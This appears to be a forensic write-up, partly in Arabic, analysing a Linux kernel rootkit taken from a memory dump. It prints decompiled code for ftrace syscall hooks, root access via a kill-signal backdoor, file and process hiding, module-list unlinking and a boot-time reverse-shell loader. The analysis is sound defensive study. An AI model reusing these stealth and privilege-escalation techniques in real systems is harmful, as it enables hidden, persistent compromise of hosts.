معلومات الثغرات المعروضة مستمدة من مصادر متاحة للعموم، مثل NVD, CISA, VulnCheck, EPSS, KEV Catalog, HackerOne, Nuclei Templates``` file extracted_module extracted_module: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=c5224df8e6f37d51f6b8f9cd9f6cc1120ab1d284, with debug_info, not stripped
sha256sum extracted_module 0f06ac286c1914ee7b2d252c8edf8860d9894bd3e1e0575ab869cfbbdd1b6f56 extracted_module
وبهذا الأسلوب نحصل على مخرجات pseudo C أفضل بكثير :D.

## rkit_init
بداية كل وحدة نواة هي `{module_name}_init`.
الكود الزائف C هنا هو:```c
int rkit_init(void)
{
int iVar1;
long lVar2;
undefined1 *hook;
hook = hooks;
lVar2 = 0;
do {
iVar1 = fh_install_hook((ftrace_hook *)hook);
if (iVar1 != 0) {
if (lVar2 != 0) {
fh_remove_hook((ftrace_hook *)(hooks + (-(int)(lVar2 + -1) & 0xe0)));
if (lVar2 + -1 != 0) {
fh_remove_hook((ftrace_hook *)hooks);
}
}
return iVar1;
}
lVar2 = lVar2 + 1;
hook = (undefined1 *)((long)hook + 0xe0);
} while (lVar2 != 3);
if (module_hidden == 0) {
(__this_module.list.next)->prev = __this_module.list.prev;
(__this_module.list.prev)->next = __this_module.list.next;
prev_module = __this_module.list.prev;
__this_module.list.next = (list_head *)0xdead000000000100;
__this_module.list.prev = (list_head *)0xdead000000000122;
kobject_del(0x1019d0);
module_hidden = 1;
}
_printk(&DAT_00100bf9);
msleep(5000);
_printk(&DAT_00100da8);
iVar1 = call_usermodehelper(argv.27,&argv.27,envp.28,1);
if (iVar1 != 0) {
_printk(&DAT_00100dd8,iVar1);
return 0;
}
_printk(&DAT_00100e08);
return 0;
}
In the first part, it installs 3 hooks with the help of ftrace.
```c
hook = hooks;
lVar2 = 0;
do {
iVar1 = fh_install_hook((ftrace_hook *)hook);
if (iVar1 != 0) {
if (lVar2 != 0) {
fh_remove_hook((ftrace_hook *)(hooks + (-(int)(lVar2 + -1) & 0xe0)));
if (lVar2 + -1 != 0) {
fh_remove_hook((ftrace_hook *)hooks);
}
}
return iVar1;
}
lVar2 = lVar2 + 1;
hook = (undefined1 *)((long)hook + 0xe0);
} while (lVar2 != 3);```
## Hooked Functions
Looking at the symbol tree, we assume the hooks are the following:

- orig_getdents (`"__x64_sys_getdents"`)
- orig_getdents64 (`"__x64_sys_getdents64"`)
- orig_kill (`"__x64_sys_kill"`)
### Kill Hook
This function, `__pfx_hook_kill`, is a hook for the kill system call, designed to intercept process `signals` and implement `custom behaviors` based on the signal number passed. It's typical in rootkits to repurpose rarely used or `unused signal` numbers to trigger stealthy functionality like `privilege escalation`, `hiding processes`, or `unloading` the rootkit.
Splitting the code up, we get 3 different signal numbers:
- 64: Privilege escalation
- 63: Hide process
- 62: Unload module
```c
undefined1 [16] __pfx_hook_kill(pt_regs *param_1)
{
uint uVar1;
list_head *plVar2;
int iVar3;
long lVar4;
undefined1 auVar5 [16];
uVar1 = (uint)param_1->di;
iVar3 = (int)param_1->si;```
`iVar3` in this case is the pid which should recieve the kill signal.
`uVar1` is the target PID.
```c
if (iVar3 == 0x40) {
_printk(&DAT_00100e38,uVar1);
lVar4 = prepare_creds();
if (lVar4 != 0) {
*(undefined8 *)(lVar4 + 8) = 0;
*(undefined8 *)(lVar4 + 0x10) = 0;
*(undefined8 *)(lVar4 + 0x18) = 0;
*(undefined8 *)(lVar4 + 0x20) = 0;
commit_creds(lVar4);
}
}```
If the kill signal is `0x40` (64), it logs the call and zeroes out UID, GID, EUID, EGID, etc., making the calling process root. Effectively elevating the process to root privileges. A user can call this with a simple `kill -64 1` and elevate their rights to `root`.
```c
else if (iVar3 == 0x3f) {
_printk(&DAT_00100c09,uVar1);
sprintf(hide_pid,"%d",(ulong)uVar1);
}```
If the kill signal is `0x3f` (63), it adds the PID to a `hide_pid` array, which is used in another hook to hide the process itself.
```c
else {
if (iVar3 != 0x3e) {
auVar5._0_8_ = (*orig_kill)(param_1);
auVar5._8_8_ = 0;
return auVar5;
}
_printk(&DAT_00100e60);
plVar2 = prev_module;
if (module_hidden != 0) {
__this_module.list.next = prev_module->next;
(__this_module.list.next)->prev = &__this_module.list;
__this_module.list.prev = plVar2;
plVar2->next = (list_head *)0x101988;
module_hidden = 0;
}
fh_remove_hook((ftrace_hook *)hooks);
fh_remove_hook((ftrace_hook *)(hooks + 0xe0));
fh_remove_hook((ftrace_hook *)(hooks + 0x1c0));
}
return ZEXT816(0);
}```
If the kill signal is `0x3e` (62), it restores the double-linked list for the kernel modules, removes all of the hooks, and exits the kernel module.
```c
if (iVar3 != 0x3e) {
auVar5._0_8_ = (*orig_kill)(param_1);
auVar5._8_8_ = 0;
return auVar5;
}```
If the final branch is not our signal `0xfe`, it just calls the normal signals.
### Getdents(64) Hook
The `getdents` and `getdents64` syscalls are both hooked by the rootkit. This report focuses on the `getdents` function, as the logic for `getdents64` is analogous. For clarity, non-essential code has been omitted from the snippet below.
```c
int hook_getdents(pt_regs *regs)
{
uVar2 = regs->si;
uVar6 = (*orig_getdents)(regs);
iVar5 = (int)uVar6;
if (0 < iVar5) {
uVar15 = (ulong)iVar5;
__dest = (void *)__kmalloc(uVar15,0xdc0);
if (__dest != (void *)0x0) {
__check_object_size(__dest,uVar15,0);
lVar7 = _copy_from_user(__dest,uVar2,uVar15);
if (lVar7 == 0) {
uVar16 = 0;
pvVar13 = (void *)0x0;```
The original `getdents` syscall is invoked to copy the directory entries from user space into kernel space for further inspection and manipulation.
```c
--snip--
if (0 < iVar5) {
uVar15 = (ulong)iVar5;
__dest = (void *)__kmalloc(uVar15,0xdc0);
if (__dest != (void *)0x0) {
__check_object_size(__dest,uVar15,0);
lVar7 = _copy_from_user(__dest,uVar2,uVar15);
if (lVar7 == 0) {
uVar16 = 0;
pvVar13 = (void *)0x0;
do {
pvVar1 = (void *)((long)__dest + uVar16);
if (hide_prefix[0] != '\0') {
__n = strnlen(hide_prefix,0xff);
--snip--
if (__n != 0xff) {
iVar5 = strncmp((char *)((long)pvVar1 + 0x12),hide_prefix,__n);
if (iVar5 != 0) goto LAB_001004fb;
goto LAB_001004cb;
}
}```
The code iterates over all directory entries returned by the syscall. If an entry's name matches the prefix specified in `hide_prefix`, that entry is excluded from the results, effectively hiding files or directories with that prefix from userland tools.

In this case, the prefix is set to `_rkit`, so any file or directory beginning with this string will be concealed.
```c
--snip--
if ((hide_pid[0] == '\0') ||
(iVar5 = strcmp((char *)((long)pvVar1 + 0x12),hide_pid), iVar5 != 0)) {
LAB_001004de:
__n_00 = (ulong)(int)uVar6;
uVar16 = uVar16 + *(ushort *)((long)pvVar1 + 0x10);
pvVar13 = pvVar14;
}```
Similarly, the code checks for process IDs that match those stored in the `hide_pid` array (populated via the kill hook with signal `63`). Any matching process is omitted from the directory listing, thereby hiding it from standard process enumeration tools.
```c
--snip--
_copy_to_user(uVar2,__dest,__n_00);
}
iVar5 = (int)uVar6;
kfree(__dest);
}
}
return iVar5;
}```
Once all filtering is complete, the modified list of entries is copied back to user space and returned, ensuring hidden files and processes remain undetectable to typical inspection methods.
## Module Hiding
The module achieves stealth by directly manipulating the kernel's module list structure, removing itself from the double-linked list. As a result, it becomes invisible to the `lsmod` command and similar enumeration tools.
```c
if (module_hidden == 0) {
(__this_module.list.next)->prev = __this_module.list.prev;
(__this_module.list.prev)->next = __this_module.list.next;
prev_module = __this_module.list.prev;
__this_module.list.next = (list_head *)0xdead000000000100;
__this_module.list.prev = (list_head *)0xdead000000000122;```
The module also unlinks its kobject from the kernel object hierarchy, making it undetectable in `/sys/modules/`.
```c
kobject_del(0x1019d0);
module_hidden = 1;
}```
## Debug Messages
Upon successful loading, the module writes `rkit: loaded` to the kernel log using `_printk`.

It then logs `rkit: starting usermode revshell loader` to indicate the initiation of the usermode reverse shell loader.

## Reverse Shell Loader
The module invokes `call_usermodehelper` with `/shell` as the first argument and `rsh` as the second, launching the userland binary in reverse shell mode during system boot. This ensures persistence and remote access for the attacker.


## rkit_exit
The `rkit_exit` function serves as the rootkit's cleanup routine. When the kernel module is unloaded, it restores the original module list (if previously hidden) and removes all installed hooks.
```c
void rkit_exit(void)
{
list_head *plVar1;
plVar1 = prev_module;
if (module_hidden != 0) {
__this_module.list.next = prev_module->next;
(__this_module.list.next)->prev = &__this_module.list;
__this_module.list.prev = plVar1;
plVar1->next = (list_head *)0x101988;
module_hidden = 0;
}
fh_remove_hook((ftrace_hook *)hooks);
fh_remove_hook((ftrace_hook *)(hooks + 0xe0));
fh_remove_hook((ftrace_hook *)(hooks + 0x1c0));
_printk(&DAT_00100be7);
return;
}```
This process ensures a clean removal, minimizing traces and reducing the risk of system instability after the rootkit is unloaded.
# Checksums
| Filename | Size | SHA256 Checksum | Description |
|-----------------------------------------------|-------|------------------------------------------------------------------------------|-----------------------------------------------------------|
| dumpmem_linux_root_kit | 4.6G | bcc73188e6905357a514107e4eac7557bce17b7e747aa1cca416c43f56c22367 | Full memory dump of infected system |
| extracted_module | 416K | 0f06ac286c1914ee7b2d252c8edf8860d9894bd3e1e0575ab869cfbbdd1b6f56 | rkit kernel module (extracted from memory dump --> memory maped) |
| extract.py | 182B | f23119742f82adb8cd2bc801cdaf79f85822fa7f55960830472bbbe0bc72ff11 | Extraction helper script |
| inode_0x8befc61393a8.dmp | 57K | dd9c08aa1ef1c2768bcac34ca02c6565f5e1942be82ea7801a1f65d193d4ddb5 | dmesg.log |
| inode_0x8befcbf9bd48.dmp | 68B | f184eb4ffcd106951f39385d6a784e431de726ea427b98088cc89cdb30d70db3 | /etc/udev/rules.d/99-load-rootkit.rules |
| inode_0x8befcbfc5908.dmp | 433K | 7f61a7634ece76c37c9263fc342ff2b3f742f542c759809d0b123d6228804b61 | shell |
| kernel_module.rkit.0xffffc08e65c0.elf | 488K | 5f9e96f65c4abe7f6865c8f4703e509aa25b58f1c76dc0f5d74090f80471351e | rkit kernel module (extracted from shell binary) |
| lilux_hex | 13M | cb9ec2399929bae6383148dc983b0e07571534f65293fa085adac31bf35fd543 | sliver beacon (extracted from pcap) |
| output.pcap | 14M | e712d6b1f7bb51a0625d0e7ce0116bfc33521eaf2cf471cf76958c8f84a67ad1 | Network capture containing Sliver beacon traffic |
# Tools and Versions Used
| Tool/Software | Version/Commit/Details | Purpose/Notes |
|----------------------|---------------------------------------|------------------------------------------------|
| Volatility3 | 2.26.0 | Memory forensics, module extraction |
| Ghidra | 11.3.2 | Reverse engineering, disassembly, pseudo-C |
| NetworkMiner | 2.8.1 (mono) | Network artefact extraction |
| Sliver C2 | v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405 | C2 server, beacon generation |
| Vagrant | 2.4.6 | VM provisioning |
| VirtualBox | 7.1.6r167084 | VM management, memory/core dump |
| Python | 3.12 | Extraction scripts, analysis |
| Ubuntu | 24.04 (bento/ubuntu-24.04)| Developer VM OS |
| Kali Linux | 2025.4 | Attacker VM OS |
| dwarf2json| commit 9f14607e0d339d463ea725fbd5c08aa7b7d40f75 | Volatility symbol file generation |
| fzf | 0.64.0 | Fuzzy search in memory artefacts |
| Gnu Make | 4.4.1 | Build userland loader |
| GCC |14.2.1 20250207 | Kernel/userland binary compilation |
| Linux Kernel | 6.8.0-53-generic | Target system kernel |
| tcpdump | 4.99.4 | Network capture |
| sha256sum | coreutils 9.6| Artefact integrity verification |
| readelf | binutils 2.42 | ELF analysis |
| file | file 5.46 | Binary type identification |
| grep | coreutils 9.6| Text search in artefacts |
| Gnu Bash | 5.2.37 | Shell scripting |